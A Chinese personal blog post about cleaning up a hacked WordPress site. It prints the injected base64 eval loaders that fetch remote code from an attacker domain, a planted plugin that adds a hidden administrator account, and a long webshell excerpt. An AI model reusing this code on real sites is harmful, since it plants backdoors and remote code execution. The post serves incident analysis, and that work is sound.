服务器 – HYL Studio – 个人学习笔记

20241214博客临近十年的大礼包——论为什么我的wordpress被黑了

这个博客是2015年创建的，今年是2024年很快就要到10年。当时随便从网上找了个主题就没再管它，这些年一直都是修修补补断断续续的升级，遇到报错就自己修掉。想着只要还能凑合用没大问题就行，到过年的时候放假重新做镜像化或者改成静态页什么的方式弄个新技术栈博客。但计划赶不上变化啊，今天本来要写minikube的记录，但打开博客发现速度巨慢，统计时间总是60s上下

尝试重启了apache2、mysql、甚至整个服务器后依然没用。这时候才怀疑是不是被黑了。

根据curl本地测试结果，和远程效果一致可排除腾讯云网络问题。打开apache2日志没发现明显报错，但下面的日志引起了我的注意


[Sat Dec 14 17:12:54.201799 2024] [php:warn] [pid 15305] [client 106.8.136.162:44567] PHP Warning:  file_get_contents(http://10.gxc42.com/x/jsc.txt): Failed to open stream: Connection timed out in /var/www/html/wordpress/wp-includes/comment.php on line 1432

0 1	[Sat Dec 14 17:12:54.201799 2024] [php:warn] [pid 15305] [client 106.8.136.162:44567] PHP Warning: file_get_contents(http://10.gxc42.com/x/jsc.txt): Failed to open stream: Connection timed out in /var/www/html/wordpress/wp-includes/comment.php on line 1432

这个域名既不是我网站的，我也没什么印象。实际测了下目前服务器的网络是打不开这个地址的。根据这行日志说的查看comment.php内容


-rw-r--r-- 1 www-data www-data 127K Oct 12 11:32 comment.php
./wp-includes/comment.php:ini_set("display_errors", "off");eval('?>'.file_get_contents(base64_decode('aHR0cDovLzEwLmd4YzQyLmNvbS94L2pzYy50eHQ=')));

-rw-r--r-- 1 www-data www-data 127K Oct 12 11:32 comment.php

./wp-includes/comment.php:ini_set("display_errors", "off");eval('?>'.file_get_contents(base64_decode('aHR0cDovLzEwLmd4YzQyLmNvbS94L2pzYy50eHQ=')));

根据相似的base64搜索还能发现


-rw-r--r--  1 www-data www-data  129 Oct 12 11:46 delist.php
./wp-content/delist.php:<?php ini_set("display_errors", "off");eval('?>'.file_get_contents(base64_decode('aHR0cDovLzEwLmd4YzQyLmNvbS94L2piLnR4dA==')));?>

-rw-r--r-- 1 www-data www-data 129 Oct 12 11:46 delist.php

./wp-content/delist.php:<?php ini_set("display_errors", "off");eval('?>'.file_get_contents(base64_decode('aHR0cDovLzEwLmd4YzQyLmNvbS94L2piLnR4dA==')));?>

解码后内容是


http://10.gxc42.com/x/jb.txt

http://10.gxc42.com/x/jsc.txt

http://10.gxc42.com/x/jb.txt

http://10.gxc42.com/x/jsc.txt

就是这俩文件超时导致变卡的，删掉这两行代码后速度恢复了。对比上一次备份的文件发现没这个内容，怎么写进去的呢？

看了腾讯云的面板和邮件，没有看到异常

用命令行查询最近修改过的文件如下


-rw-r--r-- 1 www-data www-data 1.9K Nov 27 13:45 ./wp-content/plugins/izgidnh/index.php
-rw-r--r-- 1 www-data www-data 690 Nov 27 13:44 ./wp-content/plugins/faeqkmh/index.php
-rw-r--r-- 1 www-data www-data 60K Nov 27 13:44 ./wp-content/plugins/faeqkmh/log.zip
-rw-r--r-- 1 www-data www-data 690 Dec  2 07:27 ./wp-content/plugins/cncyoue/index.php
-rw-r--r-- 1 www-data www-data 60K Dec  2 07:27 ./wp-content/plugins/cncyoue/log.zip
-rw-r--r-- 1 www-data www-data 1.9K Dec  2 07:27 ./wp-content/plugins/bamqzxw/index.php
-rw------- 1 www-data www-data 1.5K Dec 13 13:16 ./wp-content/themes/quench/cache/timthumb_int_a25adf7137af4d24a49234ee25e1bd09.timthumb.txt

-rw-r--r-- 1 www-data www-data 1.9K Nov 27 13:45 ./wp-content/plugins/izgidnh/index.php

-rw-r--r-- 1 www-data www-data 690 Nov 27 13:44 ./wp-content/plugins/faeqkmh/index.php

-rw-r--r-- 1 www-data www-data 60K Nov 27 13:44 ./wp-content/plugins/faeqkmh/log.zip

-rw-r--r-- 1 www-data www-data 690 Dec 2 07:27 ./wp-content/plugins/cncyoue/index.php

-rw-r--r-- 1 www-data www-data 60K Dec 2 07:27 ./wp-content/plugins/cncyoue/log.zip

-rw-r--r-- 1 www-data www-data 1.9K Dec 2 07:27 ./wp-content/plugins/bamqzxw/index.php

-rw------- 1 www-data www-data 1.5K Dec 13 13:16 ./wp-content/themes/quench/cache/timthumb_int_a25adf7137af4d24a49234ee25e1bd09.timthumb.txt

可以看到多了一些莫名其妙的插件和cache，打开其中一个php可以看到


$patha = dirname(__FILE__) . '/';
$path = false;
if(strpos($patha,'wp-content') !== false){ 
 $path = explode('wp-content',$patha);
 $path = trim($path[0]);
}
if(strpos($patha,'wp-includes') !== false){ 
 $path = explode('wp-includes',$patha);
 $path = trim($path[0]);
}
if(strpos($patha,'wp-admin') !== false){ 
 $path = explode('wp-admin',$patha);
 $path = trim($path[0]);
}
if($path == false){
	$path = $patha;
}
include($path.'wp-blog-header.php');
$userr = $table_prefix.'users';
$user_loginv = 'adminlin';
$aaa = $wpdb->get_row("SELECT * FROM `".$userr."` WHERE user_login = '".$user_loginv."'");
if(empty($aaa)){
$wpdb->insert($table_prefix.'users', array(
'ID' => null,
'user_login' => $user_loginv,
'user_pass' =>'57a48cf5883989417e6c0583c87ceb40',
'user_nicename' =>$user_loginv,
'user_email' =>'admin@admin.com',
'user_url' =>$user_loginv,
'user_registered' =>'2012-08-03 01:24:01',
'user_activation_key' =>'',
'user_status' =>'0',
'display_name' =>$user_loginv
        )
    );
$userx = $wpdb->get_row("SELECT * FROM `".$userr."` WHERE user_login = '".$user_loginv."'");
$wp_user_object = new WP_User($userx->ID);
$wp_user_object->set_role( 'administrator' );
$siteurl = $wpdb->get_row("SELECT * FROM `".$table_prefix.'options'."` WHERE option_name = 'siteurl'");
echo $siteurl->option_value.'|'.$user_loginv.'|';
}else{
echo 'false';
}
?>

$patha = dirname(__FILE__) . '/';

$path = false;

if(strpos($patha,'wp-content') !== false){

$path = explode('wp-content',$patha);

$path = trim($path[0]);

}

if(strpos($patha,'wp-includes') !== false){

$path = explode('wp-includes',$patha);

$path = trim($path[0]);

}

if(strpos($patha,'wp-admin') !== false){

$path = explode('wp-admin',$patha);

$path = trim($path[0]);

}

if($path == false){

$path = $patha;

}

include($path.'wp-blog-header.php');

$userr = $table_prefix.'users';

$user_loginv = 'adminlin';

$aaa = $wpdb->get_row("SELECT * FROM `".$userr."` WHERE user_login = '".$user_loginv."'");

if(empty($aaa)){

$wpdb->insert($table_prefix.'users', array(

'ID' => null,

'user_login' => $user_loginv,

'user_pass' =>'57a48cf5883989417e6c0583c87ceb40',

'user_nicename' =>$user_loginv,

'user_email' =>'admin@admin.com',

'user_url' =>$user_loginv,

'user_registered' =>'2012-08-03 01:24:01',

'user_activation_key' =>'',

'user_status' =>'0',

'display_name' =>$user_loginv

)

);

$userx = $wpdb->get_row("SELECT * FROM `".$userr."` WHERE user_login = '".$user_loginv."'");

$wp_user_object = new WP_User($userx->ID);

$wp_user_object->set_role( 'administrator' );

$siteurl = $wpdb->get_row("SELECT * FROM `".$table_prefix.'options'."` WHERE option_name = 'siteurl'");

echo $siteurl->option_value.'|'.$user_loginv.'|';

}else{

echo 'false';

}

它不仅写入了新用户，还给自己加了管理员权限。按这个用户名手动去数据库删掉它

其他php中包含了一个log.zip，但实际内容却是php代码

https://s.threatbook.com/report/file/61c192ad41eb1117320e519941eef22146de5092b1e2bf876ed92cc5336d9bde

可以看到是来自于https://github.com/m7x/cmsmap/的webshell


<?php
/**
 * Plugin Name: CMSmap - WordPress Shell
 * Plugin URI: https://github.com/m7x/cmsmap/
 * Description: Simple WordPress Shell - Usage of CMSmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developer assumes no liability and is not responsible for any misuse or damage caused by this program.
 * Version: 1.0
 * Author: CMSmap
 * Author URI: https://github.com/m7x/cmsmap/
 * License: GPLv2
 */
?>

<?php

/**

* Plugin Name: CMSmap - WordPress Shell

* Plugin URI: https://github.com/m7x/cmsmap/

* Description: Simple WordPress Shell - Usage of CMSmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developer assumes no liability and is not responsible for any misuse or damage caused by this program.

* Version: 1.0

* Author: CMSmap

* Author URI: https://github.com/m7x/cmsmap/

* License: GPLv2

后面的内容虽然做了层层编码，但最后一行才是执行入口


$PHP=Create_Function('',$filename);
//$PHP();
echo $filename

$PHP=Create_Function('',$filename);

//$PHP();

echo $filename

删了它改成打印文本即可看到原始内容，最后又是套娃


eval(gzuncompress(base64_decode(xxxxxxxxxxxxxx));

0 1	eval(gzuncompress(base64_decode(xxxxxxxxxxxxxx));

删掉eval可避免实际执行代码


$result=gzuncompress(base64_decode('xxxxxxxxx'));echo $result;

0 1	$result=gzuncompress(base64_decode('xxxxxxxxx'));echo $result;

打印结果如下，可以看到是一个webshell，讽刺的是这时候腾讯发来了邮件警告。合着前面的编码都是为了骗过腾讯云的检测啊，简单的套两层编码就能绕过云厂商的检测也是醉了。。。。

安全起见完整文件这里就不放了


ob_start();
define('myaddress',$_SERVER['SCRIPT_FILENAME']);
define('postpass',$password);
define('shellname',$shellname);
define('myurl',$myurl);
if(@get_magic_quotes_gpc()){
        foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
        foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
}
if(isset($_REQUEST[postpass])){
hmlogin(2);
@eval($_REQUEST[postpass]);
exit;}
if($_COOKIE['postpass'] != md5(postpass)){
        if($_POST['postpass']){
                if($_POST['postpass'] == postpass){
                        setcookie('postpass',md5($_POST['postpass']));
                        hmlogin();
                }else{
                        echo '<CENTER>�û����������</CENTER>';
                }
        }
        islogin($shellname,$myurl);
        exit;
}

if(isset($_GET['down'])) do_down($_GET['down']);
if(isset($_GET['pack'])){
        $dir = do_show($_GET['pack']);
        $zip = new eanver($dir);
        $out = $zip->out;
        do_download($out,$_SERVER['HTTP_HOST'].".tar.gz");
}
if(isset($_GET['unzip'])){
        css_main();
        start_unzip($_GET['unzip'],$_GET['unzip'],$_GET['todir']);
        exit;
}

define('root_dir',str_replace('\\','/',dirname(myaddress)).'/');
define('run_win',substr(PHP_OS, 0, 3) == "WIN");
define('my_shell',str_path(root_dir.$_SERVER['SCRIPT_NAME']));
$eanver = isset($_GET['eanver']) ? $_GET['eanver'] : "";
$doing = isset($_POST['doing']) ? $_POST['doing'] : "";
$path = isset($_GET['path']) ? $_GET['path'] : root_dir;
$name = isset($_POST['name']) ? $_POST['name'] : "";
$img = isset($_GET['img']) ? $_GET['img'] : "";
$p = isset($_GET['p']) ? $_GET['p'] : "";
$pp = urlencode(dirname($p));
if($img) css_img($img);
if($eanver == "phpinfo") die(phpinfo());
if($eanver == 'logout'){
        setcookie('postpass',null);
        die('<meta http-equiv="refresh" content="0;URL=?">');
}

$class = array(
"��Ϣ����" => array("upfiles" => "�ϴ��ļ�","phpinfo" => "������Ϣ","info_f" => "ϵͳ��Ϣ","phpcode" => "ִ��PHP�ű�"),
"��Ȩ����" => array("sqlshell" => "ִ��SQLִ��","mysql_exec" => "MYSQL����","myexp" => "MYSQL��Ȩ","servu" => "Serv-U��Ȩ","cmd" => "ִ������","linux" => "������Ȩ","downloader" => "�ļ�����","port" => "�˿�ɨ��"),
"��������" => array("guama" => "������������","tihuan" => "�����滻����","scanfile" => "���������ļ�","scanphp" => "��������ľ��"),
"�ű����" => array("getcode" => "���ߴ���")
);
$msg = array("0" => "����ɹ�","1" => "����ʧ��","2" => "�ϴ��ɹ�","3" => "�ϴ�ʧ��","4" => "�޸ĳɹ�","5" => "�޸�ʧ��","6" => "ɾ���ɹ�","7" => "ɾ��ʧ��");
css_main();
switch($eanver){
        case "left":
        css_left();
                html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items1');\" target=\"_self\">");
                html_img("title");html_n(" ����Ӳ��</a></dt><dd id=\"items1\" style=\"display:block;\"><ul>");
    $ROOT_DIR = File_Mode();
    html_n("<li><a title='$ROOT_DIR' href='?eanver=main&path=$ROOT_DIR' target='main'>��վ��Ŀ¼</a></li>");
        html_n("<li><a href='?eanver=main' target='main'>������Ŀ¼</a></li>");
        for ($i=66;$i<=90;$i++){$drive= chr($i).':';
    if (is_dir($drive."/")){$vol=File_Str("vol $drive");if(empty($vol))$vol=$drive;
    html_n("<li><a title='$drive' href='?eanver=main&path=$drive' target='main'>���ش���($drive)</a></li>");}}
        html_n("</ul></dd></dl>");
        $i = 2;
        foreach($class as $name => $array){
                html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items$i');\" target=\"_self\">");
                html_img("title");html_n(" $name</a></dt><dd id=\"items$i\" style=\"display:block;\"><ul>");
                foreach($array as $url => $value){
                        html_n("<li><a href=\"?eanver=$url\" target='main'>$value</a></li>");
                }
                html_n("</ul></dd></dl>");
                $i++;
        }
        html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items$i');\" target=\"_self\">");
        html_img("title");html_n(" ��������</a></dt><dd id=\"items$i\" style=\"display:block;\"><ul>");
    html_n("<li><a title='��ȫ�˳�' href='?eanver=logout' target=\"main\">��ȫ�˳�</a></li>");
        html_n("</ul></dd></dl>");
        html_n("</div>");
        break;

        case "main":
        css_js("1");
        $dir = @dir($path);
        $REAL_DIR = File_Str(realpath($path));
        if(!empty($_POST['actall'])){echo '<div class="actall">'.File_Act($_POST['files'],$_POST['actall'],$_POST['inver'],$REAL_DIR).'</div>';}
        $NUM_D = $NUM_F = 0;
        if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/';
        $ROOT_DIR = File_Mode();
        html_n("<table width=\"100%\" border=0 bgcolor=\"#555555\"><tr><td><form method='GET'>��ַ:<input type='hidden' name='eanver' value='main'>");
        html_n("<input type='text' size='80' name='path' value='$path'> <input type='submit' value='ת��'></form>");
        html_n("<br><form method='POST' enctype=\"multipart/form-data\" action='?eanver=editr&p=".urlencode($path)."'>");
        html_n("<input type=\"button\" value=\"�½��ļ�\" onclick=\"rusurechk('newfile.php','?eanver=editr&p=".urlencode($path)."&refile=1&name=');\"> <input type=\"button\" value=\"�½�Ŀ¼\" onclick=\"rusurechk('newdir','?eanver=editr&p=".urlencode($path)."&redir=1&name=');\">");
        html_input("file","upfilet","","&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ");
        html_input("submit","uploadt","�ϴ�");
        if(!empty($_POST['newfile'])){
                if(isset($_POST['bin'])) $bin = $_POST['bin']; else $bin = "wb";
        $newfile=base64_decode($_POST['newfile']);
                if(strtolower($_POST['charset'])=='utf-8'){$txt=base64_decode($_POST['txt']);}else{$txt=$_POST['txt'];}
        if (substr(PHP_VERSION,0,1)>=5){if((strtolower($_POST['charset'])=='gb2312') or (strtolower($_POST['charset'])=='gbk')){$txt=iconv("UTF-8","gb2312//IGNORE" ,base64_decode($_POST['txt']));}else{$txt = array_iconv($txt);}}
                echo do_write($newfile,$bin,$txt) ? '<br>'.$newfile.' '.$msg[0] : '<br>'.$newfile.' '.$msg[1];
                @touch($newfile,@strtotime($_POST['time']));
        }
        html_n('</form></td></tr></table><form method="POST" name="fileall" id="fileall" action="?eanver=main&path='.$path.'"><table width="100%" border=0 bgcolor="#555555"><tr height="25"><td width="45%"><b>');
        html_a('?eanver=main&path='.uppath($path),'<b>�ϼ�Ŀ¼</b>');
        html_n('</b></td><td align="center" width="10%"><b>����</b></td><td align="center" width="5%"><b>�ļ�����</b></td>');
        html_n('<td align="center" width="8%"><b>('.get_current_user().')�û�|��</b></td>');
        html_n('<td align="center" width="10%"><b>�޸�ʱ��</b></td><td align="center" width="10%"><b>�ļ���С</b></td></tr>');
        while($dirs = @$dir->read()){
                if($dirs == '.' or $dirs == '..') continue;
                $dirpath = str_path("$path/$dirs");
                if(is_dir($dirpath)){
                        $perm = substr(base_convert(fileperms($dirpath),10,8),-4);
                        $filetime = @date('Y-m-d H:i:s',@filemtime($dirpath));
                        $dirpath = urlencode($dirpath);
                        html_n('<tr height="25"><td><input type="checkbox" name="files[]" value="'.$dirs.'">');
                        html_img("dir");
                        html_a('?eanver=main&path='.$dirpath,$dirs);
                        html_n('</td><td align="center">');
                        html_n("<a href=\"#\" onClick=\"rusurechk('$dirs','?eanver=rename&p=$dirpath&newname=');return false;\">����</a>");
                        html_n("<a href=\"#\" onClick=\"rusuredel('$dirs','?eanver=deltree&p=$dirpath');return false;\">ɾ��</a> ");
                        html_a('?pack='.$dirpath,'���');
                        html_n('</td><td align="center">');
                        html_a('?eanver=perm&p='.$dirpath.'&chmod='.$perm,$perm);
            html_n('</td><td align="center">'.GetFileOwner("$path/$dirs").':'.GetFileGroup("$path/$dirs"));
                        html_n('</td><td align="center">'.$filetime.'</td><td align="right">');
                        html_n('</td></tr>');
                        $NUM_D++;
                }
        }
        @$dir->rewind();
        while($files = @$dir->read()){
                if($files == '.' or $files == '..') continue;
                $filepath = str_path("$path/$files");
                if(!is_dir($filepath)){
                        $fsize = @filesize($filepath);
                        $fsize = File_Size($fsize);
                        $perm  = substr(base_convert(fileperms($filepath),10,8),-4);
                        $filetime = @date('Y-m-d H:i:s',@filemtime($filepath));
                        $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$filepath);
                        $todir=$ROOT_DIR.'/zipfile';
                        $filepath = urlencode($filepath);
                        $it=substr($filepath,-3);
                        html_n('<tr height="25"><td><input type="checkbox" name="files[]" value="'.$files.'">');
                        html_img(css_showimg($files));
                        html_a($Fileurls,$files,'target="_blank"');
                        html_n('</td><td align="center">');
            if(($it=='.gz') or ($it=='zip') or ($it=='tar') or ($it=='.7z'))
                           html_a('?unzip='.$filepath,'��ѹ','title="��ѹ'.$files.'" onClick="rusurechk(\''.$todir.'\',\'?unzip='.$filepath.'&todir=\');return false;"');
                        else
               html_a('?eanver=editr&p='.$filepath,'�༭','title="�༭'.$files.'"');

                        html_n("<a href=\"#\" onClick=\"rusurechk('$files','?eanver=rename&p=$filepath&newname=');return false;\">����</a>");
                        html_n("<a href=\"#\" onClick=\"rusuredel('$files','?eanver=del&p=$filepath');return false;\">ɾ��</a> ");
                        html_n("<a href=\"#\" onClick=\"rusurechk('".urldecode($filepath)."','?eanver=copy&p=$filepath&newcopy=');return false;\">����</a>");
                        html_n('</td><td align="center">');
                        html_a('?eanver=perm&p='.$filepath.'&chmod='.$perm,$perm);
            html_n('</td><td align="center">'.GetFileOwner("$path/$files").':'.GetFileGroup("$path/$files"));
                        html_n('</td><td align="center">'.$filetime.'</td><td align="right">');
                        html_a('?down='.$filepath,$fsize,'title="����'.$files.'"');
                        html_n('</td></tr>');
                        $NUM_F++;
                }
        }
        @$dir->close();
        if(!$Filetime) $Filetime = gmdate('Y-m-d H:i:s',time() + 3600 * 8);
print<<<END
</table>
<div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined">
<input type="hidden" id="inver" name="inver" value="undefined">
<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);">
<input type="button" value="����" onclick="SubmitUrl('������ѡ�ļ���·��: ','{$REAL_DIR}','a');return false;">
<input type="button" value="ɾ��" onclick="Delok('��ѡ�ļ�','b');return false;">
<input type="button" value="����" onclick="SubmitUrl('�޸���ѡ�ļ�����ֵΪ: ','0666','c');return false;">
<input type="button" value="ʱ��" onclick="CheckDate('{$Filetime}','d');return false;">
<input type="button" value="���" onclick="SubmitUrl('�����������ѡ�ļ�������Ϊ: ','{$_SERVER['SERVER_NAME']}.tar.gz','e');return false;">
Ŀ¼({$NUM_D}) / �ļ�({$NUM_F})</div>
</form>
END;
        break;

        case "editr":
print<<<END
<script>
END;
html_base();
print<<<END
        </script>
END;
        css_js("2");
        if(!empty($_POST['uploadt'])){
                echo @copy($_FILES['upfilet']['tmp_name'],str_path($p.'/'.$_FILES['upfilet']['name'])) ? html_a("?eanver=main",$_FILES['upfilet']['name'].' '.$msg[2]) : msg($msg[3]);
                die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path='.urlencode($p).'">');
        }
        if(!empty($_GET['redir'])){
        $name=$_GET['name'];
                $newdir = str_path($p.'/'.$name);
                @mkdir($newdir,0777) ? html_a("?eanver=main",$name.' '.$msg[0]) : msg($msg[1]);
                die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path='.urlencode($p).'">');
        }

        if(!empty($_GET['refile'])){
        $name=$_GET['name'];
                $jspath=urlencode($p.'/'.$name);
                $pp = urlencode($p);
                $p = str_path($p.'/'.$name);
                $FILE_CODE = "";
                $charset= 'GB2312';
        $FILE_TIME =date('Y-m-d H:i:s',time()+3600*8);
                if(@file_exists($p)) echo '����Ŀ¼����"ͬ��"�ļ�<br>';
        }else{
                $jspath=urlencode($p);
                $FILE_TIME = date('Y-m-d H:i:s',filemtime($p));
        $FILE_CODE=@file_get_contents($p);
             if (substr(PHP_VERSION,0,1)>=5){
            if(empty($_GET['charset'])){
                           if(TestUtf8($FILE_CODE)>1){$charset= 'UTF-8';$FILE_CODE = iconv("UTF-8","gb2312//IGNORE",$FILE_CODE);}else{$charset= 'GB2312';}
                          }else{
                           if($_GET['charset']=='GB2312'){$charset= 'GB2312';}else{$charset= $_GET['charset'];$FILE_CODE = iconv($_GET['charset'],"gb2312//IGNORE",$FILE_CODE);}
                          }
                  }
        $FILE_CODE = htmlspecialchars($FILE_CODE);
        }
print<<<END
<div class="actall">��������: <input name="searchs" type="text" value="{$dim}" style="width:500px;">
<input type="button" value="����" onclick="search(searchs.value)"></div>
<form method='POST' id="editor"  action='?eanver=main&path={$pp}'>
<div class="actall">
<input type="text" name="newfile"  id="newfile" value="{$p}" style="width:750px;">ָ�����룺<input name="charset" id="charset" value="{$charset}" Type="text" style="width:80px;" onkeydown="if(event.keyCode==13)window.location='?eanver=editr&p={$jspath}&charset='+this.value;">
<input type="button" value="ѡ��" onclick="window.location='?eanver=editr&p={$jspath}&charset='+this.form.charset.value;" style="width:50px;">
END;
html_select(array("GB2312" => "GB2312","UTF-8" => "UTF-8","BIG5" => "BIG5","EUC-KR" => "EUC-KR","EUC-JP" => "EUC-JP","SHIFT-JIS" => "SHIFT-JIS","WINDOWS-874" => "WINDOWS-874","ISO-8859-1" => "ISO-8859-1"),$charset,"onchange=\"window.location='?eanver=editr&p={$jspath}&charset='+options[selectedIndex].value;\"");
print<<<END
</div>
<div class="actall"><textarea name="txt" id="txt" style="width:100%;height:380px;">{$FILE_CODE}</textarea></div>
<div class="actall">�ļ��޸�ʱ�� <input type="text" name="time" id="mtime" value="{$FILE_TIME}" style="width:150px;"> <input type="checkbox" name="bin" value="wb+" size="" checked>�Զ�������ʽ�����ļ�(����ʹ��)</div>
<div class="actall"><input type="button" value="����" onclick="CheckDate();" style="width:80px;"><input name='reset' type='reset' value='����'>
<input type="button" value="����" onclick="window.location='?eanver=main&path={$pp}';" style="width:80px;"></div>
</form>
END;
ob_end_flush();

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

ob_start();

define('myaddress',$_SERVER['SCRIPT_FILENAME']);

define('postpass',$password);

define('shellname',$shellname);

define('myurl',$myurl);

if(@get_magic_quotes_gpc()){

foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);

foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);

}

if(isset($_REQUEST[postpass])){

hmlogin(2);

@eval($_REQUEST[postpass]);

exit;}

if($_COOKIE['postpass'] != md5(postpass)){

if($_POST['postpass']){

if($_POST['postpass'] == postpass){

setcookie('postpass',md5($_POST['postpass']));

hmlogin();

}else{

echo '<CENTER>�û��</CENTER>';

}

islogin($shellname,$myurl);

exit;

}

if(isset($_GET['down'])) do_down($_GET['down']);

if(isset($_GET['pack'])){

$dir = do_show($_GET['pack']);

$zip = new eanver($dir);

$out = $zip->out;

do_download($out,$_SERVER['HTTP_HOST'].".tar.gz");

}

if(isset($_GET['unzip'])){

css_main();

start_unzip($_GET['unzip'],$_GET['unzip'],$_GET['todir']);

exit;

}

define('root_dir',str_replace('\\','/',dirname(myaddress)).'/');

define('run_win',substr(PHP_OS, 0, 3) == "WIN");

define('my_shell',str_path(root_dir.$_SERVER['SCRIPT_NAME']));

$eanver = isset($_GET['eanver']) ? $_GET['eanver'] : "";

$doing = isset($_POST['doing']) ? $_POST['doing'] : "";

$path = isset($_GET['path']) ? $_GET['path'] : root_dir;

$name = isset($_POST['name']) ? $_POST['name'] : "";

$img = isset($_GET['img']) ? $_GET['img'] : "";

$p = isset($_GET['p']) ? $_GET['p'] : "";

$pp = urlencode(dirname($p));

if($img) css_img($img);

if($eanver == "phpinfo") die(phpinfo());

if($eanver == 'logout'){

setcookie('postpass',null);

die('<meta http-equiv="refresh" content="0;URL=?">');

}

$class = array(

"��Ϣ��" => array("upfiles" => "�ϴ��ļ�","phpinfo" => "��Ϣ","info_f" => "ϵͳ��Ϣ","phpcode" => "ִ��PHP�ű�"),

"��Ȩ��" => array("sqlshell" => "ִ��SQLִ��","mysql_exec" => "MYSQL��","myexp" => "MYSQL��Ȩ","servu" => "Serv-U��Ȩ","cmd" => "ִ��","linux" => "��Ȩ","downloader" => "�ļ��","port" => "�˿�ɨ��"),

"��" => array("guama" => "��","tihuan" => "��滻��","scanfile" => "��ļ�","scanphp" => "��ľ��"),

"�ű��" => array("getcode" => "��ߴ��")

);

$msg = array("0" => "��ɹ�","1" => "��ʧ��","2" => "�ϴ��ɹ�","3" => "�ϴ�ʧ��","4" => "�޸ĳɹ�","5" => "�޸�ʧ��","6" => "ɾ��ɹ�","7" => "ɾ��ʧ��");

css_main();

switch($eanver){

case "left":

css_left();

html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items1');\" target=\"_self\">");

html_img("title");html_n(" ��Ӳ��</a></dt><dd id=\"items1\" style=\"display:block;\"><ul>");

$ROOT_DIR = File_Mode();

html_n("<li><a title='$ROOT_DIR' href='?eanver=main&path=$ROOT_DIR' target='main'>��վ��Ŀ¼</a></li>");

html_n("<li><a href='?eanver=main' target='main'>��Ŀ¼</a></li>");

for ($i=66;$i<=90;$i++){$drive= chr($i).':';

if (is_dir($drive."/")){$vol=File_Str("vol $drive");if(empty($vol))$vol=$drive;

html_n("<li><a title='$drive' href='?eanver=main&path=$drive' target='main'>��ش��($drive)</a></li>");}}

html_n("</ul></dd></dl>");

$i = 2;

foreach($class as $name => $array){

html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items$i');\" target=\"_self\">");

html_img("title");html_n(" $name</a></dt><dd id=\"items$i\" style=\"display:block;\"><ul>");

foreach($array as $url => $value){

html_n("<li><a href=\"?eanver=$url\" target='main'>$value</a></li>");

}

html_n("</ul></dd></dl>");

$i++;

}

html_n("<dl><dt><a href=\"#\" onclick=\"showHide('items$i');\" target=\"_self\">");

html_img("title");html_n(" ��</a></dt><dd id=\"items$i\" style=\"display:block;\"><ul>");

html_n("<li><a title='��ȫ�˳�' href='?eanver=logout' target=\"main\">��ȫ�˳�</a></li>");

html_n("</ul></dd></dl>");

html_n("</div>");

break;

case "main":

css_js("1");

$dir = @dir($path);

$REAL_DIR = File_Str(realpath($path));

if(!empty($_POST['actall'])){echo '<div class="actall">'.File_Act($_POST['files'],$_POST['actall'],$_POST['inver'],$REAL_DIR).'</div>';}

$NUM_D = $NUM_F = 0;

if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/';

$ROOT_DIR = File_Mode();

html_n("<table width=\"100%\" border=0 bgcolor=\"#555555\"><tr><td><form method='GET'>��ַ:<input type='hidden' name='eanver' value='main'>");

html_n("<input type='text' size='80' name='path' value='$path'> <input type='submit' value='ת��'></form>");

html_n("<br><form method='POST' enctype=\"multipart/form-data\" action='?eanver=editr&p=".urlencode($path)."'>");

html_n("<input type=\"button\" value=\"�½��ļ�\" onclick=\"rusurechk('newfile.php','?eanver=editr&p=".urlencode($path)."&refile=1&name=');\"> <input type=\"button\" value=\"�½�Ŀ¼\" onclick=\"rusurechk('newdir','?eanver=editr&p=".urlencode($path)."&redir=1&name=');\">");

html_input("file","upfilet","","      ");

html_input("submit","uploadt","�ϴ�");

if(!empty($_POST['newfile'])){

if(isset($_POST['bin'])) $bin = $_POST['bin']; else $bin = "wb";

$newfile=base64_decode($_POST['newfile']);

if(strtolower($_POST['charset'])=='utf-8'){$txt=base64_decode($_POST['txt']);}else{$txt=$_POST['txt'];}

if (substr(PHP_VERSION,0,1)>=5){if((strtolower($_POST['charset'])=='gb2312') or (strtolower($_POST['charset'])=='gbk')){$txt=iconv("UTF-8","gb2312//IGNORE" ,base64_decode($_POST['txt']));}else{$txt = array_iconv($txt);}}

echo do_write($newfile,$bin,$txt) ? '<br>'.$newfile.' '.$msg[0] : '<br>'.$newfile.' '.$msg[1];

@touch($newfile,@strtotime($_POST['time']));

}

html_n('</form></td></tr></table><form method="POST" name="fileall" id="fileall" action="?eanver=main&path='.$path.'"><table width="100%" border=0 bgcolor="#555555"><tr height="25"><td width="45%"><b>');

html_a('?eanver=main&path='.uppath($path),'<b>�ϼ�Ŀ¼</b>');

html_n('</b></td><td align="center" width="10%"><b>��</b></td><td align="center" width="5%"><b>�ļ��</b></td>');

html_n('<td align="center" width="8%"><b>('.get_current_user().')�û�|��</b></td>');

